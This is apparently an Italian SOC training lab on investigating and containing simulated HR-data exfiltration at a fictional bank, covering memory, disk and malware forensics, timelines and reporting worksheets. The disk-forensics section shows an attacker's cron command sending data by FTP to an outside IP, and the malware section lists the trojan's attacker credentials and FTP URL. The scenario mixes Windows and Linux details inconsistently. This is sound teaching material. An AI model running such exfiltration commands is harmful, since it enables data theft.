Ci si concentrerà su **tre categorie di prove**:

1. **Memoria di sistema (RAM Dump)**
    - Perché: cattura i processi in esecuzione, le connessioni di rete, eventuali malware nella memoria.
    - Comando di esempio (Linux):

- sudo LiME -o /mnt/usb/memdump.lime -f
- Esempio di strumento (Windows): FTK Imager, DumpIt.

2. **Istantanea del disco/filesystem**
    - Perché: conserva lo stato del file system, i log, i file binari dannosi e i timestamp.
    - Esempio di strumento: dd per Linux, FTK Imager per Windows.
    - Eseguire sempre l'hash dell'immagine (ad esempio, sha256sum image.dd).
3. **Traffico di rete (PCAP)**
    - Perché: per vedere le comunicazioni degli hacker, i tentativi di esfiltrazione, i comandi e i controlli.
    - Strumento: tcpdump o Wireshark per acquisire i pacchetti dal server isolato prima della cancellazione/ripristino.

Fase 3: Documentazione – Catena di custodia

Registrare quanto segue per ogni artefatto raccolto:

- Cosa è stato raccolto (ad esempio, dump della RAM, immagine del disco, pcap).
- Data/ora della raccolta.
- Strumento/comando utilizzato.
- Valori hash per la verifica dell'integrità.
- Nome dell'analista Firma C.

Fase 4: Esercizio – Compilare la tabella di raccolta delle prove

Tipo di prova	Strumento/comando	Nome file	Hash (SHA-256)	Raccolto da / Data
Dump RAM				
Immagine disco				

Tipo di prova	Nome file strumento/comando	Hash (SHA-256)	Raccolto da / Data
PCAP (registro del traffico)			

Passaggio 5: Aggiornamento del ticket SOC

Aggiungi una nuova sezione al tuo ticket SOC:

- Prove raccolte (elenco e allegare i registri).
- Dettagli sulla catena di custodia.
- Eventuali anomalie rilevate durante la raccolta (processi strani, porte aperte insolite).

Punto di controllo: Sezione 3.1

Prima di passare alla **Sezione 3.2: Analisi dei processi di memoria**, assicurati di:

- Di aver compreso i principi della raccolta forense (conservazione, catena di custodia).
- Di aver elencato almeno tre tipi di prove (RAM, disco, PCAP).
- Esercitarsi nella compilazione di una tabella di raccolta delle prove.
- Aggiornamento del ticket SOC con le note relative alla raccolta.

Registro della catena di custodia – Gestione delle prove forensi

ID caso: _____

Nome dell'incidente: _____

Data di apertura: _____

Analista responsabile: _____

1. Riepilogo delle prove

ID prova	Descrizione	Sistema di origine	Raccolta Strumento/Metodo	Data/ora di raccolta
E-001				
E-002				
E-003				

2. Verifica dell'integrità

Per ogni file di prova, calcolare e registrare gli hash crittografici (ad esempio, SHA-256).

ID prova	Nome file	Hash SHA-256	Verificato da
E-001			
E-002			
E-003			

3. Trasferimenti di custodia

Ogni volta che le prove cambiano di mano, registrare i dettagli del trasferimento.

ID prova	Rilasciato da (Nome/Firma)	Data/Ora	Ricevuto da (Nome/Firma)	Scopo/Note
E-001				
E-002				
E-003				

4. Disposizione finale

Quando le prove non sono più necessarie (ad esempio, archiviate, restituite, distrutte), registrare il risultato finale.

Identificativo della prova	Disposizione e Approvato da	Data/ora
E-01		
E-002		
E-003		

Promemoria:

- Ogni voce del registro deve essere leggibile, completa e firmata.
- Nessuna prova è ammissibile in contesti legali o di conformità senza una catena di custodia documentata.
- Considerate questo registro come parte della **documentazione ufficiale dell'incidente**.

3.2 Analisi dei processi di memoria: cosa si nasconde nella RAM?

Scenario

Avete raccolto un **dump della RAM** dal server compromesso **HR-DB01**.
Ora è il momento di analizzarlo alla ricerca di prove di attività dannose. Gli aggressori spesso lasciano tracce nella memoria, come ad esempio:

- Processi sospetti
- Connessioni di rete
- Codice iniettato o artefatti malware

Passaggio 1: strumenti per l'analisi della memoria

Gli strumenti forensi più comuni includono:

- **Volatility Framework (Linux/Windows)** → elenchi di processi, DLL, socket di rete
- **Rekall** → analisi della memoria moderna
- **FTK/EnCase** (commerciale) → suite di indagine integrate Per questo

laboratorio utilizzeremo **Volatility** (open source).

Passaggio 2: identificare i processi in

esecuzione Comando (esempio Volatility):

volatility -f memdump.lime pslist **Esempio**

di output:

PID PPID Nome Ora di inizio

--- ----- ---------- ----------

412 4 Sistema 26/09/2025 23:59:12

980 412 svchost.exe 27/09/2025 02:41:00

1337 980 ftpclient.exe 27/09/2025 02:42:15

1450 412 notepad.exe 27/09/2025 02:45:01

Osservazioni:

- **ftpclient.exe** è stato avviato subito dopo un login sospetto di dbadmin.
- Questo processo è insolito su un server di database: un campanello d'allarme.

Passaggio 3: controllare le connessioni di rete

Comando:

volatilità -f memdump.lime netscan

Esempio di output:

Proto Indirizzo locale Indirizzo esterno Stato PID

TCP 10.0.10.25:50500 198.51.100.77:21 STABILITO 1337

Osservazioni:

- Conferma **la sessione FTP in uscita** verso l'IP sospetto 198.51.100.77.
- Corrisponde ai registri del firewall → la correlazione aumenta l'affidabilità.

Passaggio 4: estrarre il file binario sospetto

Comando:

volatility -f memdump.lime procdump -p 1337 -D ./extracted/

Questo estrae il file eseguibile ftpclient.exe per un'ulteriore analisi del malware.
(Gestito successivamente nella Fase 3.4: Esame del malware).

Esercizio: inserisci i risultati

Completa la seguente tabella di indagine:

Risultato	**Strumento/comando utilizzato Prova**	**Perché sospetto?**
Processo sospetto	_____	_____

Ricerca	Strumento/Comando utilizzato	Prova	Perché sospetto?
Connessione in uscita ___		_____	Binario estratto
_____		_____	

Passaggio 5: Aggiornamento ticket SOC

Aggiungi le tue note sull'analisi della memoria:

- Processo sospetto identificato (ftpclient.exe, PID 1337).
- Connessione in uscita a IOC noto (198.51.100.77).
- Binario estratto per ulteriori analisi del malware.

Punto di controllo: Sezione 3.2

Prima di passare alla **Sezione 3.3: Analisi forense dei file su disco**, assicurati di:

- Utilizzare strumenti di analisi della memoria per identificare processi sospetti.
- Di aver confermato attività di rete sospette dalla memoria.
- Di aver estratto il binario dannoso per un'ulteriore analisi del malware.
- Risultati documentati nel tuo ticket SOC.

Foglio di lavoro per l'analisi della memoria – Elaborazione delle prove di rete

ID caso: _____ **Nome**

dell'analista: _____

Data/ora: _____

Sistema di origine: _____

Nome file di memoria: _____

1. Analisi del processo

Elenca i processi sospetti o degni di nota identificati nel dump della RAM.

PID	Nome del processo		PID padre (PPID)	Ora di inizio	Perché sospetto?
_____	_____	_____	_____	_____	
_____	_____	_____	_____	_____	
_____	_____	_____	_____	_____	

2. Connessioni di rete

Registra le connessioni di rete attive o recenti.

Proto	Indirizzo locale	Indirizzo esterno	Stato	Associato PID/Processo	Note
_____	_____	_____	_____	_____	_____
_____	_____	_____	_____	_____	_____

3. Artefatti estratti

Documentare eventuali file binari, DLL o codice iniettato scaricato dalla memoria.

Nome file	Estrazione	PID associato	Strumento/Comando	Hash salvato (SHA-256)	Note

4. Osservazioni dell'analista

Note in formato testo libero per rilevare modelli, anomalie o correlazioni con altri registri.

Promemoria:

- Correlare i risultati con **i registri SIEM e firewall** per una maggiore affidabilità.
- Salvare tutti i file binari estratti **nell'archivio delle prove**, collegati agli hash nel **registro della catena di custodia**.
- Evita le speculazioni: concentrati sulle prove osservabili.

3.3 Analisi forense dei file su disco – Ricerca della persistenza

Scenario

Ora passiamo **all'immagine disco** del server HR-DB01, raccolta in precedenza. L'analisi forense del disco rivela se gli aggressori:

- Hanno installato malware per garantire la persistenza
- Modificato i file di sistema
- Hanno creato account nascosti o attività pianificate
- Hanno sottratto o archiviato dati

sensibili Il tuo compito è cercare queste tracce.

Passaggio 1: strumenti per l'analisi del disco

Approcci forensi comuni:

- **Strumenti Linux/Unix:** autopsy, sleuthkit, find, strings
- **Strumenti Windows:** FTK Imager, EnCase, Autopsy
- **Comandi generali:** ls -l, stat, diff, strumenti di hashing per controlli di integrità

Fase 2: ricerca dei meccanismi di persistenza

Sui sistemi compromessi, gli aggressori spesso si assicurano di poter **tornare in un secondo momento**:

- **Windows:** controllare le chiavi di registro (ad esempio, chiavi Run, servizi), le attività pianificate, i nuovi programmi di avvio.
- **Linux:** controllare i cron job (/etc/cron*), gli script di init modificati, /etc/passwd per i nuovi utenti.

Esempio di risultato (Linux):

/etc/cron.d/backup.sh → Nuovo cron job sospetto, creato il 27/09/2025 alle 02:45. Esegue:

ftpclient -u attacker -p [omissis] -s 198.51.100.77

Osservazione: l'autore dell'attacco ha creato un cron job per riavviare l'esfiltrazione anche in caso di riavvio del sistema.

Passaggio 3: ricerca di file modificati o nuovi

Confronta i timestamp dei file con le linee di base normali.

- Controllare i file binari di sistema modificati di recente (ls -ltr /bin, /usr/bin).
- Cerca eseguibili sospetti in posizioni non standard (/tmp, /var/tmp, file nascosti con estensione .).

Esempio di risultato (Windows):

C:\Users\dbadmin\AppData\Roaming\update.exe File

creato: 27/09/2025 alle 02:44

Hash: a3c5f... (non corrisponde a nessun software aziendale noto)

Osservazione: Probabile dropper di malware.

Fase 4: Ricerca dati stage/exfil

Gli aggressori spesso preparano i file sensibili prima di inviarli.

- Cerca archivi di dimensioni insolite (.zip, .7z, .rar) creati intorno al momento dell'incidente.
- Esamina i timestamp di accesso sui file relativi alle risorse umane.

Esempio di risultato:

/home/dbadmin/hr_archive.zip

Dimensione: 25 MB

Creato: 27/09/2025 alle 02:42

Contiene: employee_data.xlsx, salaries.csv

Osservazione: conferma la preparazione dell'esfiltrazione.

Fase 5: Esercizio – Tabella di analisi forense del disco

Compilare in base ai risultati ottenuti:

Risultato	Prova (file/percorso/chiave)	Data e ora	Perché sospetto?
Meccanismo di persistenza			
Deposito di file dannosi			
Archivio graduale			

Passaggio 6: aggiornamento del ticket SOC

- Aggiungere i risultati dell'analisi forense del disco.
- Includere percorsi dei file, timestamp, hash.
- Collegare gli artefatti estratti al **registro della catena di custodia**.
- Effettuare un controllo incrociato con i risultati della memoria (ad esempio, ftpclient.exe sia nella RAM che nel disco).

Punto di controllo: Sezione 3.3

Prima di passare alla **Sezione 3.4: Esame del malware**, assicurarsi di:

- Identificato almeno un meccanismo di persistenza.
- Trovati file o archivi sospetti.
- Correlato i risultati del disco con prove precedenti relative alla memoria/IOC.
- Aggiornato il ticket SOC con note forensi.

Foglio di lavoro di analisi forense del disco – File, persistenza ed esfiltrazione

ID caso: _____ **Nome**

dell'analista: _____

Data/ora: _____

Sistema di origine: _____

File immagine disco: _____

1. Meccanismi di persistenza

Registrare tutti i metodi utilizzati dagli aggressori per mantenere l'accesso.

Tipo di sistema	Posizione/Chiave/Script	Ora di creazione/modifica	Perché sospetto?
Windows / Linux	_____	_____	_____
Windows / Linux	_____	_____	_____
Windows / Linux	_____	_____	_____

2. File sospetti s Eseguibili

Documenta i file potenzialmente dannosi trovati sul disco.

Percorso file	Nome file	Dimensione	Creato/Modificato Ora	Hash (SHA-256)	Note
_____	_____	_____	_____	_____	_____
_____	_____	_____	_____	_____	_____

3. Dati preparati per l'esfiltrazione

Elencare archivi, file di grandi dimensioni o directory insolite creati durante l'incidente.

Archivio/File	Contenuti	Dimensione	Ora di creazione	Perché sospetto?

4. Modifiche al registro/alla configurazione (Windows)

(Se applicabile)

Chiave di registro/Percorso di configurazione	Valore/Modifica	Ora di modifica	Note

5. Osservazioni dell'analista

Note in formato testo libero relative a modelli, anomalie e correlazioni con risultati relativi alla memoria o alla rete.

Promemoria:

- **Eseguire** sempre **l'hash** dei **file estratti** e registrarli nel **registro della catena di custodia**.
- Correlare i timestamp con **le tempistiche degli avvisi** (ad esempio, accesso alle 2:41, creazione dell'archivio alle 2:42).
- I risultati relativi alla persistenza spesso spiegano **come gli aggressori rimangono all'interno del sistema** dopo la compromissione iniziale.

3.4 Esame del malware: smascherare lo strumento dell'autore dell'attacco

Scenario

Dall'analisi forense della memoria e del disco, avete estratto un file binario sospetto:

- File: ftpclient.exe
- Posizione: /home/dbadmin/ftpclient.exe
- Data e ora: creato il 27/09/2025 alle 02:42

Il tuo compito è eseguire **un'analisi iniziale del malware** per comprenderne il funzionamento, senza decodificare completamente il codice.

Passaggio 1: Controllo dei metadati del file

Inizia con strumenti semplici per ispezionare il file binario:

- **Linux/macOS:**
- file ftpclient.exe
- strings ftpclient.exe | less
- sha256sum ftpclient.exe
- **Windows (PowerShell):**
- Get-FileHash ftpclient.exe -Algorithm SHA256
- Get-AuthenticodeSignature ftpclient.exe

Risultato dell'analisi:

- Tipo di file: eseguibile Windows PE
- Le stringhe restituite rivelano:
- USER aggressore
- PASS ********
- ftp://198.51.100.77
- exfil.zip

- Nessuna firma digitale valida

Osservazione: le credenziali hardcoded e i comandi FTP confermano che questo file binario è progettato per **l'esfiltrazione dei dati**.

Fase 2: Ricerca delle informazioni di sicurezza relative all'hash

Prendi l'hash SHA-256 e cercalo su:

- **VirusTotal** (virustotal.com)
- **Hybrid Analysis** (hybrid-analysis.com)
- **Qualsiasi piattaforma TI**

interna Esempio di risultato

(VirusTotal):

- 43/65 motori AV hanno contrassegnato il file come **"Trojan.FTPExfil.A"**
- Tag comportamentali: furto di credenziali, esfiltrazione FTP

Fase 3: Sandbox o esecuzione sicura (facoltativo)

In un ambiente controllato, eseguire il file binario e monitorarne il comportamento:

- Strumenti: Cuckoo Sandbox, Any.Run, sandbox malware interna
- Cercare: connessioni di rete, modifiche ai file, modifiche al registro

Esempio di rapporto sul comportamento:

- Si connette all'IP 198.51.100.77 sulla porta 21
- Carica hr_archive.zip da /home/dbadmin
- Crea persistenza tramite attività pianificata (ftp_sync.job)

Fase 4: Esercizio – Tabella di analisi del malware

Compila in base alle tue conclusioni:

Aspetto	**Prove/Osservazioni Perché sospetto?**
Metadati del file	_____

Aspetto	**Prove/Osservazioni Perché sospetto?** Output
stringhe	_____
Ricerca informazioni sulle minacce	_____
Comportamento sandbox	_____

Passaggio 5: aggiornamento del ticket SOC

- Allegare hash, stringhe di output e risultati VirusTotal.
- Classificazione del record: **Trojan di esfiltrazione dati**.
- Aggiungi IOC:
    - IP FTP hardcoded (198.51.100.77)
    - Nome del file (ftpclient.exe)
    - Hash SHA-256

Punto di controllo: Sezione 3.4

Prima di passare alla **Sezione 3.5: Correlazione della cronologia dell'attacco**, assicurarsi di:

- Di aver eseguito l'analisi statica (file, stringhe, hash).
- Ho cercato l'hash nelle fonti di informazioni sulle minacce.
- (Facoltativo) Ho esaminato il rapporto sul comportamento della sandbox.
- Ho documentato la classificazione del malware e gli IOC nel ticket SOC.

Foglio di lavoro per l'analisi del malware – Esame binario

ID caso: _____ **Nome dell'analista:** _____

Data/ora: _____

Nome file: _____

Origine (disco/memoria/altro): _____

1. Metadati del file

Registra i dettagli di base relativi al file.

Proprietà	Valore
Percorso del file	_____
Dimensione del file	_____
Tipo di file	_____
Tempo di compilazione	_____
_____ Hash SHA-256	_____
_____ Firma digitale [ ] Valida [ ] Non valida [ ] Nessuna	

2. Analisi delle stringhe

Elenca le stringhe interessanti trovate nel file binario.

Stringa estratta	Perché sospetta?
_____	_____
_____	_____
_____	_____

3. Ricerche di informazioni sulle minacce

Registra i risultati provenienti da piattaforme esterne o interne.

Piattaforma	Risultato/Classificazione	Note
VirusTotal	_____	
Analisi ibrida	_____	_____
Altro (feed TI)	_____	_____

4. Sandbox / Osservazioni comportamentali

(Se eseguito in un ambiente sicuro.)

Azione osservata	Dettagli	Perché sospetto?
Connessione di rete	_____	
Modifiche al file system	_____	
Tentativo di persistenza	_____	

5. IOC identificati

Elenco degli indicatori di compromissione generati dall'analisi.

Tipo di IOC	Valore	Note Nome
file	_____	
Hash file	_____	
IP/Dominio	_____	
Registro/Configurazione	_____	

_____

6. Note dell'analista

Osservazioni in formato testo libero, correlazioni con registri o risultati relativi a disco/memoria.

Promemoria:

- **Eseguire** sempre **l'hash** del file e registrarlo nel **registro della catena di custodia**.
- Correlare il comportamento della sandbox con le prove precedenti (log, PCAP, cron job).
- La classificazione (ad esempio, trojan, worm, backdoor) deve basarsi sul comportamento osservato, non su supposizioni.

3.5 Correlazione Cronologia dell'attacco – Ricostruzione dell'incidente

Scenario

A questo punto, avete raccolto:

- **Log** (accessi sospetti, FTP in uscita)
- **Prove di memoria** (processo ftpclient.exe + connessione FTP)
- **Prove su disco** (cron job, hr_archive.zip preparato)
- **Risultati relativi al malware** (ftpclient.exe = trojan di esfiltrazione)

Il tuo compito è quello di **mettere insieme questi indizi** per spiegare come si è svolto l'attacco.

Fase 1: Creazione della cronologia

Organizza tutti gli eventi per **data/ora**. Esempio:

Esempio di cronologia

Ora (UTC)	Evento	Fonte	Note
02:41	Accesso dbadmin dall'IP 203.0.113.41	Log di autenticazione	Account privilegiato, ora insolita
02:41–02:42	File HR consultati (employee_data.xlsx, salaries.csv)	Registro di accesso ai file	Dati sensibili presi di mira
02:42	Avvio del processo sospetto ftpclient.exe (PID 1337)	Analisi della memoria	Corrisponde al malware exfil
02:42	Archivio hr_archive.zip creato in /home/dbadmin/	Analisi forense dei dischi	Dati preparati per il trasferimento
02:43	Connessione FTP in uscita → 198.51.100.77:21	Registro firewall	Exfil in corso
02:44	Creato cron job di persistenza malware (backup.sh)	Analisi forense del disco	Garantisce l'esfiltrazione continua

Ora (UTC)	Evento	Fonte	Note
02:45	Avviso antivirus Endpoint (Trojan.FTPExfil.A)	Registri EDR	Rilevamento attivato
02:48	Trasferimento FTP in uscita (25 MB) confermato	Registro firewall	Dati probabilmente sottratti
03:05	Contenimento SOC: dbadmin disabilitato, server isolato	Ticket SOC	Inizio del contenimento

Fase 2: Identificare le fasi dell'attacco

Mappare ogni voce della cronologia alla **catena di uccisione** o alle fasi **MITRE ATTsCK**:

- **Accesso iniziale** → Account dbadmin compromesso (credenziali rubate?)
- **Esecuzione** → ftpclient.exe avviato
- **Persistenza** → Creazione di un cron job (backup.sh)
- **Esfiltrazione** → Dati HR compressi + trasferimento FTP
- **Rilevamento e risposta** → Allerta SIEM + Contenimento SOC

Fase 3: Esercizio – Crea la tua cronologia

Compila i seguenti campi in base alle prove raccolte:

Ora	Evento	Fonte delle prove	Fase dell'attacco
_____	_____	_____	_____
_____	_____	_____	_____
_____	_____	_____	_____

Fase 4: Descrizione dell'analista

Scrivi una breve **sintesi narrativa** dell'incidente:
“Nelle prime ore del 27 settembre, un account privilegiato (dbadmin) è stato consultato da un

IP esterno. In pochi minuti, i dati delle risorse umane sono stati raccolti ed esfiltrati utilizzando uno strumento malware personalizzato (ftpclient.exe). L'autore dell'attacco ha garantito la persistenza tramite un cron job.
Il rilevamento è avvenuto alle 02:48 e il team SOC ha contenuto l'incidente entro le 03:05".

Fase 5: Aggiornamento del ticket SOC

- Allegare la cronologia completa.
- Annotare la correlazione tra più fonti di prove.
- Aggiungere la classificazione: **Incidente di esfiltrazione dati confermato**.

Punto di controllo: Sezione 3.5

Prima di passare alla **Sezione 3.6: Risultati attesi**, assicurati di:

- Hai creato una cronologia cronologica dell'attacco.
- Hai mappato gli eventi alle fasi MITRE ATTCCK.
- Hai scritto un riassunto narrativo chiaro.
- Aver aggiornato il ticket SOC con i risultati della cronologia.

Foglio di lavoro della cronologia dell'attacco - Ricostruzione dell'incidente

ID caso: _____

Nome dell'analista: _____

Data/ora di preparazione: _____

Sistema/i di origine: _____

1. Cronologia temporale

Documentare gli eventi chiave nell'ordine in cui si sono verificati.

Ora (UTC)	Evento	Fonte delle prove	Note

2. Mappatura della fase di attacco (Kill Chain / MITRE ATTsCK)

Mappa ogni evento alla fase di attacco pertinente.

Ora (UTC)	Evento	Fase dell'attacco	ID tecnica (se MITRE ATTsCK)

3. Indicatori di compromissione (IOC) correlati

Registrare gli IOC scoperti nelle fonti di prova.

Tipo di IOC	Valore	Fonte (log/memoria/disco/malware)	Note
Indirizzo IP	_____	_____	_____
Hash file	_____	_____	_____
Nome file	_____	_____	_____
Account utente	_____	_____	_____

4. Sintesi narrativa

Scrivi una descrizione concisa (3-5 frasi) dell'incidente:

Promemoria:

- Controllare i timestamp su più fonti (registri, memoria, disco).
- Utilizza **fusi orari coerenti (preferibilmente UTC)** per evitare confusione.
- Una cronologia ben strutturata costituisce la **prova fondamentale** per la segnalazione degli incidenti e la revisione post-incidente.

3.6 Risultati attesi dalla segnalazione – Creazione del rapporto sugli incidenti SOC

Scenario

Hai completato:

- Analisi dei log
- Analisi forense della memoria e del disco
- Esame del malware
- Ricostruzione della cronologia dell'attacco

Ora è il momento di **raccogliere questi risultati in un unico rapporto sugli incidenti SOC**. Questo rapporto sarà letto da **analisti senior, responsabili delle operazioni IT, legali e dirigenti**, quindi deve essere chiaro, professionale e strutturato.

Fase 1: Scopo del rapporto

Il rapporto sugli incidenti SOC dovrebbe:

- Riassumere ciò che è accaduto (fatti, non speculazioni).
- Identificare le risorse e i dati interessati.
- Registrare gli indicatori di compromissione (IOC).
- Documentare le azioni intraprese.
- Raccomandare i passi successivi.

Consideralo come il **verbale ufficiale** dell'indagine.

Fase 2: Struttura standard del rapporto

Il rapporto deve includere le seguenti sezioni:

1. **Sintesi**
    - Panoramica di una pagina su ciò che è accaduto, chi è stato coinvolto e lo stato attuale.
    - Scritta in **un linguaggio semplice** per la dirigenza.

2. **Dettagli dell'incidente**
    - ID del caso, analista, data/ora, sistemi coinvolti.
    - Allarme scatenante e rilevamento iniziale.
3. **Risultati dell'indagine**
    - Eventi chiave (riassunti dalla cronologia).
    - Prove a sostegno provenienti da registri, memoria, disco, analisi del malware.
    - Elenco degli IOC confermati.
4. **Azioni di risposta**
    - Misure di contenimento adottate (ad esempio, account disabilitato, server isolato).
    - Misure di eradicazione (malware rimosso, persistenza eliminata).
    - Stato di avanzamento del ripristino (ripristino da backup pulito).
5. **Impatto sull'attività**
    - Sistemi interessati.
    - Dati consultati/sottratti.
    - Potenziali implicazioni normative o legali.
6. **Raccomandazioni**
    - Aggiornamenti delle politiche (ad esempio, rotazione delle password più rigorosa, gestione delle patch).
    - Miglioramenti tecnici (ad esempio, regole SIEM più efficaci, blocchi firewall).
    - Esigenze di formazione (ad esempio, sensibilizzazione degli utenti, esercitazioni SOC).
7. **Appendici (facoltative)**
    - Fogli di lavoro (log, memoria, disco, malware).
    - Cronologia completa dell'attacco.
    - Screenshot o registri esportati.

Fase 3: Esempio di sintesi esecutiva Testo di

esempio:

Il 27 settembre 2025, NexaBank ha rilevato attività di accesso sospette su un account privilegiato (dbadmin). Le successive indagini hanno rivelato che dati sensibili relativi alle risorse umane erano stati preparati e sottratti tramite un file binario dannoso (ftpclient.exe). L'attacco proveniva dall'IP estero 203.0.113.41 e utilizzava FTP per trasferire i dati a 198.51.100.77. Le azioni di contenimento hanno incluso la disattivazione dell'account e l'isolamento del server interessato. Non sono state osservate ulteriori attività dannose dalle 03:05 UTC. I prossimi passi includono l'applicazione di patch ai sistemi vulnerabili, l'aggiunta di regole SIEM per comportamenti simili e la pianificazione di una
revisione degli account privilegiati.

Fase 4: Esercizio – Bozza di rapporto sugli incidenti SOC

Compilare questo **mini-modello**:

Sezione	**Le tue note**
Sintesi	Dettagli dell'incidente
	Risultati dell'indagine
Azioni intraprese	Impatto sull'attività
	Raccomandazioni

Fase 5: Aggiornamento del ticket SOC

- Contrassegnare lo stato del caso: **Chiuso – Incidente di esfiltrazione dati confermato.**
- Allegare il rapporto finale sull'incidente SOC.
- Informare l'analista senior e il responsabile SOC.

Punto di controllo: Sezione 3.6

Prima di passare alla **Fase 4 – Risposta e documentazione**, assicurati di:

- Hai redatto una **sintesi esecutiva** in linguaggio semplice.

- Hai strutturato i risultati in un **rapporto sugli incidenti SOC**.
- Aggiunto i fogli di lavoro di supporto e la cronologia.
- Ammodernato il ticket SOC con i risultati finali.

Modello di rapporto sugli incidenti SOC

ID caso: _____

Data/ora di segnalazione: _____

Nome dell'analista: _____

Organizzazione: NexaBank (simulazione)

1. Sintesi

Fornire una panoramica chiara e non tecnica dell'incidente per la dirigenza.

_____

_____

_____

2. Dettagli dell'incidente

Campo	Dettagli
Titolo dell'incidente	_____
Data/ora di rilevamento	_____
_____	Fonte di rilevamento _____
_____	Sistemi interessati _____
_____	Account coinvolti _____
_____	
Livello di gravità	[ ] Basso [ ] Medio [ ] Alto [ ] Critico

3. Risultati dell'indagine

Riassumere le prove raccolte.

- **Allerta iniziale:** _____

- **Indicatori di compromissione (IOC):**
  - IP: _____
  - Hash dei file: _____
  - Nomi dei file: _____
  - Account utente: _____
- **Cronologia dell'attacco (riepilogo):**

---

4. Azioni di risposta

Elencare le azioni intraprese e quando.

Azione	Data/ora	Team responsabile
Contenimento	_____	
Eradicazione	_____	
Ripristino	_____	

5. Impatto sull'attività

Descrivere l'effetto organizzativo dell'incidente.

- **Dati consultati/sottratti:** _____
- **Sistemi interrotti:** _____
- **Impatto legale/di conformità:** _____

6. Raccomandazioni

Proporre le misure da adottare per evitare il ripetersi dell'evento.

- _____

- _____
- _____

7. Appendici (facoltative)

Allegare la documentazione di supporto:

- Foglio di lavoro per l'analisi dei log
- Foglio di lavoro per l'analisi della memoria
- Foglio di lavoro per analisi forense del disco
- Foglio di lavoro per l'analisi del malware
- Foglio di lavoro sulla cronologia degli attacchi

Promemoria per gli studenti:

- Mantenete il **riassunto esecutivo chiaro e di facile comprensione per il mondo degli affari.**
- Inserite **le prove tecniche dettagliate** nelle appendici, non nella relazione principale.
- I rapporti sono **documenti legali**: evitate speculazioni, attenetevi ai fatti osservati.

Fase 4: Risposta e documentazione

4.1 Manuale di contenimento – Azioni immediate

Scenario

L'indagine ha confermato:

- Compromissione dell'account privilegiato dbadmin
- Malware (ftpclient.exe) preparato ed eseguito
- Dati sensibili delle risorse umane (hr_archive.zip) sottratti tramite FTP

Il tuo ruolo come analista SOC è quello di **contenere immediatamente la minaccia** per prevenire ulteriori danni.

Fase 1: Contenimento dell'account

- Disabilitare o bloccare gli account compromessi (dbadmin).
- Imporre la reimpostazione delle password agli utenti interessati.
- Controlla gli altri account privilegiati per individuare attività sospette.

Esempio di aggiornamento del registro:

03:05 UTC – Account dbadmin disabilitato, reimpostazione forzata avviata.

Passaggio 2: Contenimento dell'host

- Isolare il server interessato dalla rete (rimuoverlo dallo switch/VLAN o disabilitare la scheda NIC).
- Se EDR è disponibile, attivare la funzione "isolare host".
- Registrare il tempo di isolamento nel ticket SOC.

Esempio di voce SOC:

03:07 UTC – Server database (srv-db-02) rimosso dalla VLAN di produzione.

Fase 3: Contenimento della rete

- Bloccare il traffico in uscita verso l'IP dell'autore dell'attacco (198.51.100.77) sul firewall.
- Aggiungere l'IP dell'autore dell'attacco alle liste di blocco.
- Valutare la possibilità di un blocco geografico temporaneo se emergono modelli ricorrenti.

Esempio di voce SOC:

03:10 UTC – Traffico FTP in uscita verso 198.51.100.77 bloccato dal firewall perimetrale.

Fase 4: Escalation delle comunicazioni

- Informare l'analista senior e il responsabile degli incidenti.
- Informare il reparto IT delle azioni di isolamento.
- Iniziare a redigere gli aggiornamenti per le parti interessate (dirigenti, ufficio legale, risorse umane).

Fase 5: Esercizio di documentazione

Compilare **la checklist di contenimento** nel ticket SOC:

Azione	**Completata (S/N)**	**Data/Ora**	**Note**
Disattivare gli account compromessi	_____	_____	_____
Isolare i server interessati	_____	_____	_____
Bloccare gli IP/domini dannosi	_____	_____	_____
Escalation al SOC senior	_____	_____	_____

Punto di controllo: Sezione 4.1

Prima di procedere all'eliminazione, assicurarsi di:

- Hai disabilitato gli account interessati.
- Hai isolato i server infetti.

- Bloccato gli IP degli aggressori a livello di rete.
- Hai segnalato il problema al personale SOC senior.
- Registrato tutte le azioni di contenimento con timestamp.

Foglio di lavoro delle azioni di contenimento - Risposta immediata

ID caso: _____

Nome dell'analista: _____

Data/ora di preparazione: _____

Sistema/i di origine: _____

1. Contenimento dell'account

Registrare le azioni intraprese sugli account compromessi o a rischio.

Nome dell'account	Azione intrapresa	Data/ora	Note
_____	Disabilitato/Bloccato/Reimpostato	_____	
_____	Disabilitato/Bloccato/Reimpostato	_____	

2. Contenimento host

Isolamento dei documenti degli host infetti o sospetti.

Host/Sistema	Azione di contenimento	Data/Ora	Note
_____	Isolamento di rete / Isolamento EDR	_____	
_____	Isolamento di rete / Isolamento EDR	_____	

3. Contenimento della rete

Registra le modifiche apportate al firewall, all'IDS/IPS o ad altri controlli di rete.

Indicatore (IP/Dominio/Porta)	Azione intrapresa	Data/ora	Note
_____	Bloccato/Monitorato	_____	
_____	Bloccato/Monitorato	_____	

4. Comunicazione di escalation

Registrare chi è stato avvisato e quando.

Team/Individuo	Tipo di notifica (chiamata/e-mail/ticket)	Data/ora	Note
Analista SOC senior	_____	_____	
Operazioni IT	_____	_____	
Comandante dell'incidente	_____	_____	

5. Note dell'analista

Contesto aggiuntivo, osservazioni o difficoltà incontrate.

_____

_____

_____

Promemoria:

- Tutte le azioni di contenimento devono essere **contrassegnate con data e ora**.
- Il contenimento deve bilanciare **velocità** (fermare l'attacco) e **stabilità** (evitare di interrompere inutilmente l'attività).
- Aggiornare sempre il **ticket SOC** con le azioni completate.

4.2 Piano di eradicazione e ripristino – Pulizia e ripristino dei sistemi

Scenario

Il contenimento ha fatto guadagnare tempo, ma gli strumenti dell'autore dell'attacco (ftpclient.exe, persistenza cron) sono ancora presenti sul server compromesso.
Ora è necessario:

1. **Rimuovere il malware e la persistenza**
2. **Ripristinare i dati e i sistemi da backup puliti**
3. **Convalidare i controlli di sicurezza prima di ripristinare il servizio**

Fase 1: Eliminazione – Rimuovere la minaccia

- Eliminare i file dannosi (ftpclient.exe, archivi temporanei, cron job).
- Esegui scansioni antivirus/EDR aggiornate su tutti i sistemi interessati.
- Ricontrollare **il registro, i file di configurazione e le attività pianificate** per verificare la persistenza.
- Applicare le patch alle vulnerabilità sfruttate (ad esempio, servizio di accesso remoto senza patch).

Esempio di voce SOC:

03:30 UTC – Rimosso ftpclient.exe da /home/dbadmin 03:32 UTC

– Disabilitato cron job dannoso (backup.sh) 03:35 UTC –

Applicata patch al servizio OpenSSH alla versione v8.9

Fase 2: Ripristino – Ripristino dei sistemi

- Reimmaginare o ricostruire i server se la compromissione è profonda.
- Ripristinare i dati puliti dall'**ultimo backup valido conosciuto**.
- Verificare l'integrità del backup con **hash/checksum**.
- Reintrodurre gradualmente il sistema nella produzione (implementazione graduale).

Esempio di immissione SOC:

